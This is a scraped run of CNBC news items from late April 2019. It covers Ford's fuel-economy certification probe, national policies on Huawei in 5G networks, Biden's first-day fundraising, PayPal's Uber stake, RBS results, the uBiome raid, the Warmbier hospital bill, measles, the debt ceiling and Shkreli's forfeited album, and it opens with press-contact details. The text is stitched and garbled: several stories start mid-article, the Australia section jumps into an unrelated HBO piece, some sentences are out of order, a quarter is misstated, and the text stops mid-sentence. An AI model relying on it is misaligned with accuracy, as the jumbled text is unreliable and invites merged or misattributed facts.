jennifer.dauble@nbcuni.com Emma Martin CNBC t: 201.735.4713 m: 551.275.6221 e: emma.martin@nbcuni.com People walk by a Ford Escape SUV displayed during the media day for the Shanghai auto show in Shanghai, China, April 16, 2019. The company also said it cannot predict the outcome of the investigation and "cannot provide assurance that it will not have a material adverse effect on us." Ford made the disclosure in an SEC filing Friday. It said the company is cooperating fully with all government investigations, and has notified several state and federal agencies. The matter stems from issues related to road load estimations, including analytical modeling and physical track testing. Road load is a vehicle-specific resistance level that helps determine fuel economy ratings and emissions certifications. It does not involve the use of defeat devices to cheat on emissions tests. "Our focus is on completing our investigation and a thorough technical review of this matter and cooperating with government and regulatory agencies," Kim Pittel, Ford's vice president of sustainability, environment and safety engineering, said in a statement." Ford voluntarily disclosed the issue to the Environmental Protection Agency on Feb. 18 and the California Air Resources Board on Feb 21. Ford has hired outside experts to investigate its vehicle fuel economy and testing procedures after employees raised concerns. Since last fall, Ford has been looking into concerns that incorrect mathematical calculations could have impacted mileage and emissions data submitted to regulators. Since 2015, U.S. and California regulators have cracked down on automakers who cheat on emissions testing after Volkswagen's use of defeat devices became public knowledge. The automaker's stock is up 6.8% in premarket trading after it reporting quarterly earnings that topped expectations. WATCH: Ford CFO Bob Shanks breaks down first-quarter earnings 5G logo is seen on an android mobile phone with Huawei logo on the background. Omar Marques | LightRocket | Getty Images Huawei has faced mounting political pressure in recent months as the U.S. asks allied countries to block Huawei from being a part of next-generation mobile networks known as 5G. Washington has accused the Chinese telecom equipment maker of being a national security risk, alleging its gear could be used by Beijing for espionage. Huawei, meanwhile, has repeatedly emphasized that it would never allow its hardware to support spying efforts. 5G networking technology promises super-fast download speeds on devices, but it is also seen as a key piece of infrastructure that will be able to support new data-heavy technologies like driverless cars. The American pleas to other countries to bar Huawei from those networks have seen mix results. Here's how some of the world's major economies have responded and how they view Huawei. The US Huawei has been absent from the U.S. market for many years, and the U.S. government has been public about its suspicion of the Chinese firm for some time. In 2012, the U.S. House Intelligence Committee released a report in which it said equipment from Huawei and rival ZTE could "undermine core U.S. national-security interests." Washington has stepped up criticism and actions against the company in recent times. Huawei had planned to release a flagship smartphone in the U.S. through a partnership with telecoms firm AT&T last year. However, that deal fell apart reportedly because AT&T was urged by the U.S. government not to go through with it because of security fears. Then in December of last year, Huawei CFO Meng Wanzhou, who is also the daughter of founder Ren Zhengfei, was arrested in Canada at the request of the U.S. She has been accused of fraud linked to violations of American sanctions on Iran. Meng has denied those allegations. U.S. government agencies are banned from buying Huawei gear. The Chinese technology giant has tried to fight back. In March, Huawei filed a lawsuit against the U.S. claiming a piece of legislation that prevents government agencies buying its equipment is unconstitutional. Huawei's founder has also been very vocal in recent months on the issue. Ren told CNBC in a recent interview that the U.S. was "scared" of Huawei. The European Union The EU's response to Huawei so far has been divided with individual countries making their own decisions and the bloc's institutions trying to come up with a unified policy. The European Commission issued recommendations in March around 5G security. The EU's executive arm said that member states should carry out a cybersecurity risk assessment on their own nation's network, which would eventually lead to a bloc-wide assessment later in the year. The idea is to come up with a list of risks and ways to mitigate them. While those are not legally binding recommendations, the Commission hopes it will lead to national legislation regarding 5G rollouts. The EU did not name Huawei in its recommendations and has not put a ban on the company in the bloc. Japan Japan effectively banned Huawei and other Chinese companies from public procurement in December. The government did not name Huawei specifically in its guidelines, but warned telecommunications operators not to use equipment that could carry security risks. SoftBank Group, NTT Docomo and KDDI, Japan's three main mobile carriers, have decided not to use Huawei equipment in the rollout of 5G, according to the Nikkei Asian Review. Huawei was part of some 4G networks in Japan. SoftBank, one of the firms that used Huawei's 4G gear, is looking to replace it with equipment made by other vendors. Germany Germany will not ban Huawei from participating in the country's 5G networks, according to the country's telecommunications regulator. Jochen Homann, president of regulator the Bundesnetzagentur, told the Financial Times in a recent interview that no equipment suppliers, including Huawei, "should, or may, be specifically excluded," adding that he has yet to see evidence that the company poses a security risk. Homann said Huawei could participate in the 5G rollout if it complies with all the security requirements. Media reports in February suggested that German Chancellor Angela Merkel was seeking a deal with China not to spy on each other. The idea was backed by Huawei's founder Ren Zhengfei in an interview with CNBC. "We endorse unified global standards that make installing backdoors a crime ... we want to sign such an agreement because we think it's the right thing to do," Ren said of the potential "no-spy" deal. The UK Huawei will be allowed to participate in limited parts of the U.K.'s 5G networks, according to the Guardian and Telegraph newspapers. The two media outlets reported that Britain's National Security Council, which is chaired by Prime Minister Theresa May, will allow Huawei to sell equipment to British carriers for "non-core" parts of the network. A 5G network is made up of a "core" and radio access network (RAN). The latter part is the equipment that allows any device to hook up to the 5G network. Experts suggest that keeping Huawei out of the core could be one way to mitigate any security risk. Mobile operators in Britain have warned that an outright ban on Huawei could hurt their businesses. Vodafone said such a move would cost it hundreds of millions of pounds and "very significantly" slow down the rollout of 5G. Huawei, meanwhile, has been involved in the British 4G networks. Still, the U.K. has some concerns about Huawei. In March, a government-led oversight body created to vet Huawei gear, said that a previously reported software issue had not been fixed. It added there were "underlying defects" in the company's software engineering and cybersecurity processes which create a "significantly increased risk to U.K. operators." India India has not made up its mind on Huawei yet. It has invited the company, along with rivals Nokia and Ericsson, to conduct 5G trials in the country. However, the Nikkei Asian Review reported in March that the government was looking to restrict Huawei's participation in 5G without looking to single the company out. France Huawei is not banned from selling 5G equipment in France. However, the country's lawmakers are currently debating a bill which would implement strict tests to find out whether a vendor's network equipment poses a security risk. One article in the bill proposes giving the French prime minister power to block manufacturers deemed to be subject to interference from a state that is not a member of the European Union. In an interview with French news organization La Tribune translated by Euractiv, Eric Bothorel, a key lawmaker behind the proposed legislation, said that article "does not only target equipment from Asian countries." Brazil U.S. officials warned the Brazilian government about their concerns over Huawei, Reuters reported in March. However, Huawei has not been banned or restricted. Italy Italy said in February that it would not make a move to block Huawei or ZTE from participating in 5G networks despite an earlier report that it would do so. Canada Canada has not yet made a decision about Huawei, but is continuing to weigh the risks. Canadian Public Safety Minister Ralph Goodale has repeatedly said in the press that there is no timeline for when a decision will be made. Canada has been caught in the middle of the spat between the U.S., China and Huawei. In December, Canadian authorities arrested Huawei CFO Meng at the request of the U.S. government. In seemingly retaliatory moves, China arrested a number of Canadian citizens. South Korea South Korea is among one of the first countries to roll out a commercial 5G network as it looks to take a lead in the next-generation technology. The government has left the choice of network equipment vendor up to individual carriers. KT and SK Telecom, two major mobile networks in South Korea, do not use Huawei equipment for their 5G networks. However, LG Uplus, another cellular network that is run by South Korean electronics company LG, does use Huawei equipment. Australia Peter Dinklage poses with the Outstanding Supporting Actor for a Drama Series for 'Game of Thrones' during to the 70th Annual Primetime Emmy Awards held at the Microsoft Theater on September 17, 2018. "Great times" are ahead for consumers of television content as viewers now have so much content and so many platforms to choose from, said the chief executive of HBO Asia. "It's the golden age of television in many ways," Jonathan Spink, CEO of HBO Asia, told CNBC on Thursday at the APOS 2019 summit in Bali, Indonesia. "There's just so much content being produced." Yet, that can come as a double-edged sword, in particular for media companies. "It's equally very difficult to reach the audience because you've got so many different platforms and within those platforms, finding content can be problematic," Spink said. That's potentially one of the benefits for companies such as HBO, which offer linear TV or real-time programming broadcast at scheduled times as opposed to on-demand TV offered by companies like Netflix. "I think this is possibly one of the advantages of still having linear services because linear gets bigger audiences instantly, more buzz can be developed," Spink said. His comments come at a time when media giants such as Disney and Netflix have shelled out billions on content production. Earlier in April, Disney unveiled plans for its own streaming service, Disney+, and priced it significantly lower than the most popular plan on Netflix. For its part, Netflix offered another $2 billion in debt this week to fund its content spending and other expenses the second such occurrence in 7 months. Former Vice President Joe Biden speaks during a rally for striking workers outside the South Bay Stop & Shop on April 18, 2019 in Boston, Massachusetts. Former Vice President Joe Biden's 2020 presidential campaign raised $6.3 million in its first 24 hours, the campaign announced Friday. That number is the highest first-day figure of any of the 20 Democrats who have launched campaigns to challenge President Donald Trump for the White House in the 2020 election. Biden entered the crowded Democratic presidential primary field on Thursday. An email from 76-year-old political veteran's campaign said the one-day fundraising total was "proof we are running a truly grassroots campaign." Biden's campaign claimed that 97% of online donations made by nearly 97,000 people came in at less than $200. The average online donation was $41, according to his campaign. Former Democratic Texas representative and Senate candidate Beto O'Rourke held the previous high, boasting $6.1 million raised in his first day on the trail. Sen. Bernie Sanders, I-Vt., who is running in 2020 as a Democrat, had raised $5.9 million in his first 24 hours. Biden had faced questions about his ability to raise enough cash in a primary where his many rivals had already been collecting donations and courting donors for months ahead of him. The six-term Delaware senator, who spent eight years in the White House as President Barack Obama's veep, received some early criticism from other Democrats in the race for his financial ties. Biden reportedly attended a fundraiser in Philadelphia on Thursday evening the first day of his campaign hosted by Comcast Senior Executive Vice President David Cohen. Sanders' campaign had knocked that big-donor event in an email sent that evening under the subject line "Joe Biden": "It's a big day in the Democratic primary and we're hoping to end it strong. Not with a fundraiser in the home of a corporate lobbyist, but with an overwhelming number of individual donations." CNBC reported Tuesday that Biden had been reaching out personally to potential backers days before his Thursday campaign announcement. Biden still has a ways to go to catch up to his competitors in the Democratic "money primary," some of whom have had months to raise money for their campaigns. Sanders's White House bid raised $18 million in its first six weeks, according to that campaign. Of the candidates who posted their hauls in the first fundraising quarter of 2019, however, none came close to Trump's campaign, which raked in $30 million and boasted more than $40 million cash on hand. But Biden, who was widely seen as a frontrunner long before he officially joined the race, could get some more help soon from other powerful fundraisers, CNBC has reported. New York Gov. Andrew Cuomo has told associates that he will leverage his vast fundraising network exclusively to Biden, people with direct knowledge of the matter told CNBC. Former hedge fund executive Eric Mindich, who raised money for Obama's presidential campaigns, has also told friends he is planning to help with Biden's fundraising efforts in 2020, CNBC reported. Subscribe to CNBC on YouTube. PayPal is on a spending spree. Its latest mega-investment in Uber this week hints at a larger strategy to compete abroad. The payments giant is investing $500 million Uber ahead of the highly anticipated IPO, according to Uber's updated S1 filing. In March, PayPal invested $750 million in Argentina's e-commerce giant MercadoLibre. "I don't think you spend that kind of money unless it's part of a global strategy to enable these new super-platforms," said Ryan Gilbert, a partner at venture capital firm Propel Ventures. "PayPal needs to step on the growth gas pedal and these investments will buy the company access to millions of global customers." Uber operates in more than 60 countries, and 400 cities. PayPal has a global footprint, too. It's available in more than 200 countries and regions and supports 25 currencies. By handling payments on the back-end for Uber, the company is positioning itself to benefit from some of some of Uber's potential growth. "While baseline payments products have revolved rapidly over the recent fintech investment cycle, customer acquisition strategies have not," Gilbert said. "I expect we will see similar investments in future." The deal builds on an existing partnership. PayPal is already Uber's lead payment processing partner in the U.S. and Australia, and has worked with the ride-hailing company since 2013. In a LinkedIn post, PayPal CEO Dan Schulman called it a "another significant milestone" in the company's journey to be a "platform partner of choice, helping to enable global commerce by connecting the world's leading marketplaces and payment networks." Shares of PayPal have been on a tear this year. The stock is up 30% year to date, and has rallied more than 44% year over year. It began as a pure e-commerce play and the payment option for eBay, which bought PayPal in 2002. Its founders and early employees include Elon Musk, Peter Thiel, Reid Hoffman, Max Levchin, and other members of what's sometimes known as the "PayPal Mafia." It spun off from eBay again in 2015 and has since expanded way beyond online check-out. PayPal is leaning into mobile payments, which makes up roughly 40 percent of its business, and small business lending. Its popular peer-to-peer payment app Venmo has been a part of this growth strategy, and is also integrated with Uber and UberEats. Total payment volume for Venmo grew 73% year over year to $21 billion in the first quarter, the company said this week. Overall, PayPal said it has a total 277 million total customer accounts. Still, it faces fierce competition on a global scale. Tech giants Alibaba and Tencent both dominate consumer finance in China thanks to their popular mobile apps. In North America, Amazon, Google, and Apple are also taking up an increasingly larger share of customers' wallets with their own payment or digital wallet options. Each of those payment methods grew from a "seamless integration" into an existing platform, according to Peter Gordon, CEO of PRMPayments. Alipay is Alibaba's e-commerce payment method. Amazon Pay is embedded into Amazon's platform. WeChat was a communication application in Asia that moved into payments. PayPal could achieve that through Uber. "The point is, these wallets need distribution in e-commerce and mobile applications," Gordon said. "This will align PayPal with Uber as its lead payment method to be distributed globally and allow users to have friction-less experience by entering their PayPal email." Wall Street is also watching PayPal's global ambitions. The MercadoLibre partnership "underscores the global value proposition that PayPal offers other high-growth marketplaces," according to KeyBanc analyst Josh Beck. The firm raised its price target earlier this year to reflect that deal's potential. A woman walks past the headquarters of the Royal Bank of Scotland in the City of London. The Royal Bank of Scotland (RBS) reported a net profit of 707 million ($912.2 million) for its first quarter on Friday, down 11% from the 792 million posted over the same period last year. The figures exceeded expectations of 546 million according to a company-provided average of analyst forecasts. However, RBS shares fell 5% Friday morning as the bank warned of upcoming challenges due to continued Brexit uncertainty. The news comes following the announcement Thursday that CEO Ross McEwan will step down in 2020. The bank has now launched a global hunt for his successor, with RBS executive Alison Rose tipped as favorite for the job. Here are the key figures: Net profit dropped 11.3% to 707 million from 792 million in the first quarter of 2018, but exceeded a prediction of 546 million. The group's net interest margin decreased by six basis points to 1.89%. Total revenue was 3 billion, with total operating costs coming to 1.9 billion. The bank's impairment losses totaled 86 million, up from 78 million in the same period last year. In the earnings statement, RBS said the "ongoing impact of Brexit uncertainty on the economy, and associated delay in business borrowing decisions, is likely to make income growth more challenging in the near term." The bank has long warned of the possible impact of the U.K.'s departure from the European Union, along with a highly competitive mortgage market. In the third quarter of 2018, RBS set aside 100 million to deal with economic uncertainties, including the fallout from Brexit. The figures come amid what is proving to be a difficult earnings season for the European banks, with fellow British giant Barclays reporting a 10% drop in profits Thursday. Russia's gold buying surge over the past year is simply down to a wish to diversify its portfolio of reserves, the central bank governor told CNBC Friday. The country overtook China last year to become the world's fifth largest official sector holder of gold. The central bank bought 8.8 million troy ounces of bullion last year, beating a record 7.2 million ounces set in 2017, and fresh data continues to show that the buying hasn't stopped. Experts have speculated that Western sanctions could have caused the move, with the safe-haven asset being exempt from any possibility of blacklisting. Others suggest Russia wants to reduce its reliance on the U.S. dollar, or is shying away from the euro or the pound, which have seen their values fall due to policy easing and Brexit, respectively. But Elvira Nabiullina, the governor of Russia's central bank, told CNBC's Geoff Cutmore in Moscow Friday that "diversification" was the key reason behind the purchases, and not a lack of trust for any specific currency. "You see we try to diversify our international reserves composition. Because we estimate all the possible risks, economic and geopolitical risks," she said. "We try to understand the long-term dynamics of different types of currencies and the needs of our economy for using this currency and the process of taking this decision about the structure of these reserves," she added. Russian tech giant Yandex is still planning an initial public offering for its ride-hailing business, and it's not been deterred by Lyft's struggling stock, according to a top exec. Speaking with CNBC on Friday in Moscow, Yandex CFO Greg Abovsky declined to specify a timeline for the IPO of Yandex.Taxi even whether it would come this year but said the offering remains part of the company's plans. "As far as timing is concerned, that is something that we haven't nailed down, but we are trying to get ourselves ready, so that we are ready to push the button whenever the timing is right," he told CNBC's Geoff Cutmore. "We are talking to a number of investment banks: getting advice from them, getting insights from them from the Lyft IPO, from the pending Uber IPO, to make a more informed decision." American ride-hailing service Lyft held its initial public offering last month. Although shares initially sold at a price of $72 on that day, they're now changing hands at about $56. Although Yandex.Taxi and Lyft offer similar services, Abovsky said his company was not overly concerned by the performance of the U.S. outfit. "I think there are definitely lessons to be learned from Lyft, and I think the situation Yandex.Taxi is in is a very different one," he said. "First and foremost, we are the clear leader, we have very strong market position here," he added. "Number two is the business is profitable." Cars of the Yandex.Drive car sharing service seen by St Isaac's Cathedral in Saint Petersburg, Russia. Peter Kovalev | TASS | Getty Images Neither Saudi Arabia's energy minister nor OPEC's secretary general discussed lowering oil prices with President Donald Trump, sources told the Wall Street Journal, denying the U.S. leader's earlier claim. Moments after the Journal reported the denials, Trump took to Twitter to double down on his earlier remark. "Spoke to Saudi Arabia and others about increasing oil flow. All are in agreement," the president tweeted. Tweet. Earlier on Friday, Trump told reporters he had "called up" OPEC and urged the producer group to take action to bring down fuel costs. "I called up OPEC. I said, 'You've got to bring them down. You've got to bring them down,' and gasoline's coming down," Trump said, inaccurately stating that gasoline prices are falling. Oil prices tumbled more than 4% following Trump's comment. When the president made the remarks, it was not clear whether Trump meant that he had contacted the OPEC Secretariat in Vienna, or whether he was referring to OPEC members like Saudi Arabia and the United Arab Emirates, which are close U.S. allies. Honig's company GRQ was also charged and is included in the proposed settlement. The extension of time was requested to allow the SEC to obtain "approval of a settlement in principle," according to the latest filing. "This week, Defendant Honig and the Commission staff reached an agreement in principle to settle the Commission's claims for liability," the motion said. Florida businessman Barry Honig plans to settle charges brought by the Securities and Exchange Commission, the SEC said, in what it called "classic pump-and-dump schemes" when the charges were announced. The SEC filed a motion on Friday afternoon requesting an extension of time. Barry Honig, a venture capitalist and micro-cap investor, was once one of the largest investors in Riot Blockchain. No other details about the potential settlement were given. The SEC charged 19 others along with Honig. The SEC already settled in full or in part with nine defendants, including Miami biotech billionaire Phillip Frost, according to the filing. "Honig was the primary strategist, calling upon other Defendants to, among other things, acquire or sell stock, arrange for the issuance of shares, negotiate transactions, and/or engage in promotional activity" in the $27 million schemes, according to the SEC's amended complaint, filed in March. The SEC declined to comment beyond its latest motion. Eli Richlin, one of the attorneys for Honig, said he had no comment when reached by phone. Honig was once the largest shareholder of Riot Blockchain, the cryptocurrency company whose stock skyrocketed after it changed its name from Bioptix. He was charged by the SEC along with John O'Rourke, the former CEO of Riot Blockchain, who left Riot in the wake of the charges. The SEC case is unrelated to Riot Blockchain. O'Rourke remains a defendant in the case and takes no position on the extension of time, according to the SEC's motion. Attorneys for O'Rourke did not immediately return CNBC's request for comment. A CNBC investigation in February 2018 found a number of red flags at Riot Blockchain, including annual meetings that were postponed at the last minute, sales of stock by company insiders soon after the company's name change, dilutive share issuances on favorable terms to large investors, confusing SEC filings and evidence that a major shareholder was selling shares while everyone else was buying. "We have made significant inroads in building a diversified portfolio of investments and to begin securing digital assets," O'Rourke said in a letter to shareholders the day the CNBC investigation aired. As bitcoin's price hit record highs in late December 2017, Riot was making news on a daily basis. The company's stock shot from $8 a share to more than $40 as investors chased the craze of all things crypto. A Ford Motor Co. F-150 Raptor pick up truck stands on display at the Auto Shanghai 2017 vehicle show in Shanghai, China. Check out the companies making headlines midday Friday: Ford Ford jumped 9.73% after the car manufacturer reported better than expected first-quarter earnings on Thursday. Ford reported earnings of 44 cents per share, 17 cents higher than expected, and revenues of $37.24 billion, $160 million higher than expected. High demand for pickup trucks and SUVs in North America compensated losses in China and South America. Intel Intel dropped the most in 11 years, 10%, after the company provided a lower-than-expected revenue forecast for 2019. The chipmaker said it expects full year revenues of $69 billion, yet analysts had estimated revenues of $71.05 billion. Intel reported earnings of 89 cents per share, 2 cents higher than expected and revenues of $16.06 billion, $40 million higher than expected. Walmart & Target Walmart and Target shares tumbled 2% and 6% respectively in midday trading after Amazon announced it will be implementing one-day shipping a regular offering for all Amazon Prime members, upping the ante for retailers across the United States to meet consumer demand. Mattel Strong sales of Barbie dolls and toys based on "Jurassic World" and "Toy Story" led Mattel to a narrower-than-expected-loss during the first quarter, lifting shares by 6.56% on Friday afternoon. The company's net sales fell 2.7 percent to $689.2 million, but topped the $645 million as analysts has estimated, according to Refinitiv. Cleveland-Cliffs Shares of the iron ore miner jumped for a second day after reporting a narrower-than-expected-first-quarter loss. Shares were up nearly 3% Friday after Credit Suisse upgraded the stock to an outperform rating from neutral. American Airlines American Airlines shares rose after the company reported first-quarter earnings that surpassed analysts' expectations. Quarterly profit hit 52 cents per share, beating the consensus estimate of 51 cents per share, which represents earnings of 1.96%. CNBC's Isabel Soisson, Nadine El-Bawab and Matt Lavietes contributed to this report. The FBI raided the San Francisco office of health start-up uBiome on Friday, because of the questionable ways the company has billed consumers. Federal agents showed up at the office at 360 Langton Street in the South of Market neighborhood for "court-authorized law enforcement activity," an FBI spokesperson wrote in a statement to CNBC, adding that the investigation is "ongoing. The Wall Street Journal first reported on the raid. UBiome sells health tests called SmartGut and SmartJane for people who want to monitor their gut health. The company bills insurers after physicians prescribe the products. In the past few months, CNBC spoke with three people familiar with the company's operations and learned that uBiome was routinely charging patients' plans twice for tests using the same sample and without notifying them. The people requested anonymity as they were not authorized to speak about uBiome. Jessica Richman, uBiome's CEO, could not be reached for comment. Richman told the Wall Street Journal that she had "no knowledge whatsoever," of the search, but a person familiar with the matter told CNBC that some employees were told to stay home from work on Friday. The person, who asked not to be named because the matter is confidential, also said that the FBI broke down the door of the company's offices and requested access to employees' computers. President Donald Trump approved payment of a $2 million bill issued by North Korea for the care of American citizen Otto Warmbier, who returned to the U.S. in a coma days before he died, The Washington Post reported on Thursday. North Korea had insisted on a U.S. pledge to pay the hospital bill before Warmbier was allowed to fly out of Pyongyang in June 2017, according to The Post. Acting on instructions received from Trump, U.S. State Department Envoy Joseph Yun who was sent to bring Warmbier back to the U.S. signed an agreement to pay the bill from Pyongyang, the newspaper reported, citing two people familiar with the situation. The bill remained unpaid throughout 2017, The Post reported, citing the two sources. On Friday, Trump himself tweeted that "no money was paid to North Korea for Otto Warmbier." TWEET Previously, the White House declined to comment specifically on the reports of the $2 million agreement. "We do not comment on hostage negotiations, which is why they have been so successful during this administration," press secretary Sarah Sanders said in a statement to CNBC. Warmbier, a University of Virginia student, was sentenced to 15 years of hard labor in 2016 after he was caught removing a propaganda sign from a Pyongyang hotel. His actions were considered a "hostile act against the state," according to the North Korea's official KCNA news agency. On the night he was sentenced, he fell into a coma for unknown reasons, The Post reported. Warmbier died days after his return to the United States in 2017. Yun, who retired in early 2018, told CNN on Thursday he had strict orders which he believes came from Trump to "get him (Warmbier) out." He also said money had been handed over to North Korea in previous instances and were justified as "hospital costs." However, Trump had previously said his administration paid North Korea "nothing" in exchange for American hostages to be released. "I got back our hostages; I never paid them anything," he said during a September news conference. Read more about North Korea's $2 million bill for Otto Warmbier in The Washington Post's report. A vial of the measles, mumps, and rubella virus (MMR) vaccine is pictured at the International Community Health Services clinic in Seattle, Washington, U.S., March 20, 2019. President Donald Trump on Friday urged people to get vaccinated for measles, saying it's "so important" amid the worst year for the disease in the U.S. since it was declared eliminated from the country in 2000. "They have to get the shots. The vaccinations are so important. This is really going around now. They have to get their shots," Trump told reporters in response to a question about measles before departing for Indiana to give a speech at the National Rifle Association's annual convention. Trump had previously been silent on the issue, even as the disease reached 22 states. The Centers for Disease Control and Prevention has confirmed 695 cases this year, surpassing the post-2000 record in just the first four months of the year. For more on investing in health-care innovation, click here to join CNBC at our Healthy Returns Summit in New York City on May 21. Encouraging people to get vaccinated marks a reversal for Trump, who has pushed false claims about vaccines in the past. He has questioned their safety and stoked fear that vaccinating babies might contribute to rising autism rates. Scientists have repeatedly debunked a now-retracted study from the 1990s that falsely claimed vaccines cause autism. Tweet The current U.S. outbreaks arose after unvaccinated people traveled overseas, where large outbreaks are occurring, and brought them back to communities where some people choose not to vaccinate, the CDC said. In New York City and New York's Rockland County, the disease is spreading among the close-knit ultra-Orthodox Jewish community, which anti-vaxxers have targeted. An outbreak is declared when more than three cases are confirmed. Measles is highly contagious, infecting 90% of unvaccinated people who are exposed to the disease, the CDC said. The measles, mumps and rubella vaccine offers the best protection. Receiving both recommended doses is 97% effective in preventing the measles, according to the CDC. Correction: This story was revised to clarify that the 695 cases this year is the most for a year since 2000. In addition, a previous version incorrectly stated the number of states with active outbreaks. Measles cases have been reported in 22 states this year. Outbreaks are currently ongoing in five states. A trade war between the United States and Europe is coming and the fallout could tip Germany into recession, according to analysts at German lender Commerzbank. EU leaders have now agreed to negotiate fresh trade arrangements with Washington but have restricted the talks to industrial goods only. That scope of debate is likely to irk President Donald Trump who is under pressure from Congress to win access to EU agriculture markets. In February, Trump said he would impose tariffs on cars imported from the European Union if U.S. talks with the bloc can't produce a new deal. The EU has since threatened to tax 20 billion euros ($22 billion) worth of U.S. goods. Both sides have cautiously hung on to existing agreements, promising to take no action until talks are concluded. In a research report Friday, analysts at Commerzbank said the chances of a trade deal that satisfied both European leaders and U.S. lawmakers looked slim. It noted that France, holding a powerful voice in the corridors of Brussels, had already erected a serious barrier. "President (Emmanuel) Macron has already voted against opening negotiations with the U.S. because the U.S. is no longer participating in the 2015 Paris Climate Agreement," noted Commerzbank. The bank said on the other side of the ledger, U.S. Congress has made it clear that it will not rubberstamp any agreement that excludes agriculture a tricky proposition given many EU nations fiercely protect prices paid to their farmers. "It is therefore likely that Donald Trump will announce the imposition of duties probably at rates of 25% on imports of autos and auto parts from the EU," said Commerzbank. President Donald Trump speaks to the media before boarding Marine One on the South Lawn of the White House in Washington, D.C., Friday, April 26, 2019. The White House is pushing to raise the debt ceiling while attempting to exploit divisions among House Democrats, who have struggled to reach a consensus on spending priorities, according to a person familiar with the process. House Speaker Nancy Pelosi and Senate Majority Leader Mitch McConnell had agreed to start conversations over how to navigate the triple threat of fiscal deadlines looming this fall: raising the debt ceiling, funding the government and avoiding the automatic spending cuts known as the sequester. While lawmakers have been on recess the past two weeks, congressional staff from both parties met with the Trump administration on the path forward. But that early discussion ended without the clear contours of an agreement, according to two people familiar with the meeting. The White House is opposed to bundling the issues together and expressed that President Donald Trump will not accept another significant increase in federal spending, according to one of the people. The Treasury Department hit the federal debt limit on March 1 and has been using so-called extraordinary measures to pay the nation's bills since then. The Congressional Budget Office estimates that those measures will last until the fall. After that, the U.S. government risks defaulting on its debts, an unprecedented act that many economists and analysts believe would unleash financial chaos. Democrats have not yet settled on an approach to raising the debt ceiling, according to a leadership aide who declined to be named. However, many believe the most viable political option would be to attach the debt ceiling to legislation that would lift statutory caps on government spending. The aide said the administration has not communicated its preference on the debt ceiling or urgency on the matter. Democrats are having trouble reaching a spending agreement among themselves. An attempt to bring a spending bill to the House floor before recess was thwarted by opposition from progressives who balked at the increase in defense spending. House Democrats abandoned an effort to pass a budget amid divisions over whether to account for the massive expansion of the social safety net that progressive members have championed. "I am confident that Democrats will agree to a spending plan that boosts both defense and non defense spending," said Jim Manley, a veteran Democratic strategist. "However, looming over this whole debate is the question of whether or not the president is going to try and force another shutdown because he thinks it will help him politically." The White House is hoping that isolating the debt ceiling as a separate issue will deprive Pelosi of a key leverage point during government funding negotiations this fall, according to a person familiar with the administration's strategy. It also wants to remove the debt ceiling as a potential source of volatility in an otherwise strong economy. Government data released this morning showed the economy grew at a 3.2 percent rate during the second quarter, beating expectations. The administration is also open to attaching a debt limit increase to the $13.5 billion disaster relief bill currently under consideration by Congress, according to a source. Democrats have pushed for that measure to be voted on by itself, however, and would likely be loath to add another controversial provision to what is already politically fraught legislation. "We'd prefer to do disaster relief separately and on its own merits," a Democratic aide said. But that could take some time, given Shkreli's pending appeal of his conviction for a trio of criminal charges. Wu-Tang Clan member RZA said Friday that he "would love" to get back the hip-hop group's single-copy album, "Once Upon a Time in Shaolin," which was ordered forfeited to the federal government from convicted "pharma bro" fraudster Martin Shkreli as part of his criminal sentence. However, that's not the case, at least not at the moment. RZA also said the album of which only one copy exists is sitting in a government office somewhere. "You know, I would love it back," RZA said during an interview with CNBC's "Closing Bell." Shkreli bought the album at auction for a reported $2 million in 2015. Martin Shkrelis confidence in his abilities inspired both admiration and apprehension among his colleagues and investors. When Shkreli was sentenced to seven years in prison in 2018 in Brooklyn federal court, a judge ordered him to forfeit $7.36 million in assets, which included "Once Upon a Time in Shaolin," his stake in the drug company Phoenixus AG, the Lil' Wayne album "The Carter V," and a painting by Pablo Picasso. But Judge Kiyo Matsumoto stayed the execution of that forfeiture order and the seizure of the assets to satisfy the monetary amount pending Shkreli's appeal of his conviction. And even if the Justice Department eventually does seize the album if Shkreli loses on appeal, it is not clear that the record will be worth anywhere close to the $2 million he paid for it. RZA told Rolling Stone in 2018 that he "actually tried to get" the album back when Shkreli earlier put it up for sale on eBay. "But the paperwork and the contract stops me from getting it back. When [Shkreli] put it on eBay, the first thing I did was call my lawyer, and I was like, 'Yo, let's go.' And they said, 'All right, check with your contract.' And it's no, you can't do it," RZA said in the Rolling Stone interview. The sale contract for the album reportedly barred Shkreli from releasing it commercially for 88 years. Shkreli, while free on release bond before his trial, had played snippets of the album while streaming video of himself online. Asked by CNBC on Friday whether the public ever will hear the full album, RZA said, "You know, I guess time will tell on that." CNBC revealed earlier this week that Shkreli was transferred from the federal prison in Fort Dix, New Jersey, to the Metropolitan Detention Center in Brooklyn, after a Wall Street Journal article reported that he was running his drug firm while locked up with the help of a contraband cell phone. Shkreli's lawyer, Benjamin Brafman, said he is being kept in that federal jail while awaiting transfer to another federal prison, in Allenwood, Pennsylvania. Brafman did not immediately respond to a query Friday about RZA's comments. Shkreli, 36, gained notoriety in 2015 when his company hiked the price of the drug Daraprim used to treat a parasitic infection sometimes found in pregnant women, infants and people with HIV by more than 5,000%. He was convicted in 2016 of defrauding investors in two hedge funds he ran, and of conspiring to fraudulently manipulate stock shares of Retrophin, the pharmaceuticals company he founded after his hedge funds collapsed. Shkreli has been locked up since September 2017, a month after his criminal conviction, when Matsumoto revoked his $5 million release bond because of his offer to pay Facebook followers a $5,000 bounty for each lock of hair pulled from Hillary Clinton's head. Chinese President Xi Jinping at the second Belt and Road Forum in Beijing, China April 26, 2019. BEIJINGInstead of focusing solely on his signature investment initiative, Chinese President Xi Jinping spent a good portion of a speech at the Friday opening ceremony of China's Belt and Road forum discussing his plan for national economic reforms. Much of that discussion focused on issues at the heart of the ongoing trade war between Washington and Beijing. Notably, Xi said his country will increase intellectual property protection and "stop arbitrary technology transfer," two of the main sticking points of the trade dispute with the U.S., China's largest trade partner. "We will more effectively engage in international macroeconomic policy coordination," Xi said, according to an official English translation of his Mandarin Chinese remarks. "A globalized economy calls for global governance. China will strengthen macro policy coordination with major economies to generate a positive spillover." While the Chinese leader emphasized the country would not use currency devaluation for national gain, he divulged few details about planned economic initiatives. Xi also made the "implementation of opening up policies," including honoring multilateral and bilateral agreements reached with other countries, the last of his five points on how China will reform its economy. President Donald Trump's administration has been trying to find a way to ensure that Beijing keeps its end of a trade deal. Xi's "Belt and Road Initiative," launched in 2013, is widely seen as Beijing's attempt to expand its influence globally through the construction of a network of land and maritime routes, beginning in southeast and central Asia, and ranging as far as Africa and Europe. Russian President Vladimir Putin is among the foreign dignitaries attending this year's forum. The U.S. has been critical of the "Belt and Road Initiative" and high-level officials stayed away from this year's forum in Beijing. India also did not send representatives. Microsoft usually releases patches on 